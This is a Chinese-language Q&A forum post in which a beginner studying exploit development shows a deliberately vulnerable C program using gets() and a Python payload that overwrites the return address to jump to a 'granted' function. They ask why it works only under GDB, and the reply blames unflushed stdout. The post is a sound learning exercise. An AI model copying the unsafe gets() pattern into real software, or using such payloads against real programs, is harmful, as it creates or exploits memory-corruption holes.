Exploit 仅适用于 gdb

信息安全 linux 开发 缓冲区溢出 开发开发
2021-08-17 13:15:15

tl;dr:为什么我的漏洞利用只在 gdb 中有效。

我对缓冲区溢出和利用开发领域非常陌生。为了根据一系列论文和视频提高我的技能,我编写了这个简单的 C 软件:

注意:我禁用了 ASLR

我相信我的问题与此不同:缓冲区溢出漏洞利用与 gdb 一起工作,但并非没有,因为作者似乎启用了 ASRL。


#include <stdio.h>
#include <string.h>

void granted()
{
    printf ("\nAccess granted\n");
    return;
}

int main()
{
    char password[104];
    printf ("Enter your password: ");
    gets(password);

    if (strcmp(password,"p@$$w0rd"))
    {
        printf("\nFailed!!");
    }
    else
    {
        granted();
    }

}

据我所知,有一个小错误:可以输入超过 103 个字符。

我的第一个漏洞利用目标是将执行流程重定向到授予的功能。

为了生成漏洞利用,我使用了以下命令python -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted

me@computer:~$ gdb bof3.bin 
(gdb) r < payload-access-granted 
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password: 
Failed!!
Access granted

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

如您所见,有效负载做了预期的事情:跳转到授予的功能。漏洞利用正在工作......但是

外部 gdb:

me@computer:~$ ./bof3.bin < payload-access-granted 
Enter your password: 
Segmentation fault (core dumped)

那么,为什么会出现这种情况?我做错了什么?

1个回答

最有可能的是,它正在工作,但是程序崩溃了,因为 Access Granted printf 没有被刷新到屏幕上。SIGSEGV 上的崩溃不会导致缓冲区被刷新。fflush(stdout);printf调用之后添加granted,你可能会得到你想要的行为。